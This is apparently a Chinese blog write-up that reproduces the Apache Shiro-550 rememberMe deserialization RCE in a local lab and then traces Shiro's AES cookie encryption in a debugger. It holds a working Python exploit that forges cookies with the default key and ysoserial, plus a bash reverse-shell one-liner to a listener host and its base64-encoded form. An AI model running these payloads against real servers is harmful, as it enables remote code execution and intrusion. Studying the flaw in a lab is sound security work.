由于接触到java审计,不由自主看到了篇分析shiro组件的文章,鄙人就蠢蠢欲动~
目录
Shiro rememberMe反序列化漏洞(Shiro-550)
漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
那么,Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。
影响版本
Apache Shiro < 1.2.4
特征判断
返回包中包含rememberMe=deleteMe字段。
环境部署
直接部署大佬编译好的war包到tomcat目录下
https://cloud.tencent.com/developer/article/1472310
部署war包很简单,只需要将其放到tomcat中的webapps目录下,bin目录下启动tomcat,它将会自动解压war包,当然它的默认名称是samples-web-1.2.4,为了访问方便我们可以重命名为shiro-1.2.4
启动tomcat
(若碰到以下问题则修改JRE_HOME
)
访问http://localhost:8080/shiro-1.2.4
点击log in
cookie中存在rememberMe参数值
漏洞利用
配合ysoserial开启监听
ysoserial是一个java反序列化的工具,攻击机下载ysoserial,获取需要的jar文件
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
(其中mvn需要自己安装)
若因为timeout原因,可在conf/setting.conf
添加国内镜像源
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
恶意构造cookie
我这里是python3环境
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size //# 设置block_size的大小为16
//对传入pad的内容自动补全16位,填充内容是“16-len(s)”对应的ascii字符
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") //用的是shiro默认的key
iv = uuid.uuid4().bytes //生成随机数
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read()) //将得到popen回显的十六进制字符串
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))
AES模块利用国内源安装如下
pip install pycryptodome -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
其他源总结:
于是便搜集了一些国内的pip源,如下:
阿里云 http://mirrors.aliyun.com/pypi/simple/
中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/
豆瓣(douban) http://pypi.douban.com/simple/
清华大学 https://pypi.tuna.tsinghua.edu.cn/simple/
中国科学技术大学 http://pypi.mirrors.ustc.edu.cn/simple/
分析下利用代码
从shiro组件的加解密角度理解该poc会更易懂
- AES加密 = 想加密的字符串 (明文) + iv(随机生成的长度为16的字节) + key(base64解码密钥的结果) + CBC + PKCS5Padding
- 随机生成的长度为16的字节 + AES加密结果 (就是拼接了一下)
- base64加密
(以下图片可自行放大)
dnslog检测
将脚本放在target目录下执行
python shiro_exp.py 10.13.24.80:6666
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "ping 4vxrp6.dnslog.cn"
(实验多次,以下图片不太一致)
将刚刚python生成的rememberMe参数和值,整个复制添加到cookie中,发包之后。可以看到ysoserial监听的端口收到数据
DNSLOG收到,如果ping不到dnslog,读者可以自己先弹个计算器calc
制作反弹shell
bash -i >& /dev/tcp/192.168.101.1/7777 0>&1
(通过以下链接得到base64加密的反弹shell)
http://www.jackson-t.ca/runtime-exec-payloads.html
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}
再利用 ysoserial反序列化工具
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'
然后攻击机自行监听端口就好,攻击利用如同上述dnslog检测过程,不再阐述…
分析加密过程
通过网上资料描述可知:
shiro的CookieRememberMeManager
类里对漏洞参数rememberMe进行序列化,加密等操作,我理解成这个类和这个漏洞有关系,可以当成入口点
shiro对每次访问都会用到"记住我"的功能进行以下解密操作:
- 检索rememberMe cookie的值 //cookie中是否有这个参数
- Base 64解码 //对参数的值进行解码
- 使用AES解密 //对参数的值再进行解密
- 使用Java反序列化 //对解出的参数的值进行反序列化
所以这次通过源码debug来了解的大概目的:
通过控制rememberMe参数的值传输加密好的恶意序列化payload,成功让shiro进行解密到反序列化的步骤就可以达到执行命令
- 如何控制rememberMe参数的值
- 如何对payload进行加密
- 根据加密方法对生成恶意序列化payload进行加密构造利用工具
(师傅们轻喷~)
将刚刚tomcat自动解压war包之后的文件夹丢入IDEA,通过IDEA配置调试shiro
Run -> Edit Configurations -> 点击+号添加TomcatServer(Local) -> Server中配置Tomcat路径 -> 选择JRE版本 ->Deployment中点击+号添加tomcat里生成的shiro文件夹 -> 点击Apply
首先先要找到rememberMe参数的值
当我访问http://localhost:8080/shiro_1_2_4/login.jsp
登录时勾选Remember Me后,cookie中出现rememberMe参数,而shiro每次都会对cookie中的rememberMe来进行解密后反序列化操作来确定访问者权限,所以直接在cookie传输rememberMe参数就可以控制shiro反序列化的值
获得加解密的方法
加密解密恶意payload进行传输,反编译此漏洞环境中的shiro组件jar包
选中shiro-core-1.2.4.jar -> 右键 -> Add as Library -> ok
选中shiro-web-1.2.4.jar -> 右键 -> Add as Library -> ok
全局搜索咱们前面准备当做入口点的CookieRememberMeManager
类,按着函数列表查看后并未发现有关加密的信息,跟进父类AbstractRememberMeManager
去看一下
进入父类可以发现一个很明显的key,根据参数名DEFAULT_CIPHER_KEY_BYTES
也可以断定是AES加密中所使用的密钥也就是利用代码中加密的KEY
在AbstractRememberMeManager
类函数名为encrypt(加密)
中下了断点,然后在web端进行登录操作,运行至encrypt函数传入参数serialized
然后点击Drop Frame
返回上个方法发现传入的serialized的值是我刚才web端登录的用户名root序列化后的数据,根据运行步骤函数名猜测流程是shiro验证完了登录的账号密码,然后根据用户名生成序列化数据准备进行加密了
另外学习下Debug按钮功能:
Step Over : 单步执行,遇到方法直接获得返回值而不会进入方法体中
Step Into : 单步执行,遇到方法会进入方法,不会进入jdk实现的方法中
Force Step Into : 可以进入任何的方法,比如jdk,jar包
Step Out : 在方法内会直接获得返回值跳出该方法
Run To Cursor : 让程序运行到鼠标所在的位置
Drop Frame : 返回上一步,摧毁当前方法获得的值
Resume Program : 运行至下一个断点所在位置
此时在调试的变量框里看到加密的设置为AES加密,模式为CBC,128位,填充方式为PKCS5Padding
继续Step Into(下一步),进入cipherService.encrypt
的方法中,跳到了JcaCipherService
类中的encrypt
方法中,方法中有个ivBytes
变量,值是随机生成的16个字节,然后跳到了此类中的另一个encrypt
方法
return this.encrypt(plaintext, key, ivBytes, generate);
//plaintext 为序列化的用户名
//key 为DEFAULT_CIPHER_KEY_BYTES 就是上面base64解码的那个密钥
//ivBytes 为随机生成的长度为16的字节
//generate 为true
跳入的encrypt方法,这个方法就是生成加密结果的地方
继续Step Over(不进入方法中进行下一步),就回到了下断点的地方,value
变量的值就是上面步骤的output
变量的值
继续使用Step Into,进行到Base64.encode
方法中建议Step Over调试。最终到了CookieRememberMeManager
类中的rememberSerializedIdentity
方法又对存储着加密结果的变量进行了一次base64
加密,然后赋值到了cookie的rememberMe参数中
以下cookie的rememberMe值便是这样得到
暂告段落先…分析过程毕竟得啃多几次
可参考:https://mp.weixin.qq.com/s/CfmTVSpRSKU9FX9VHEt9rg
GOT IT!
******************************************************
具体利用方式需根据具体实践场景~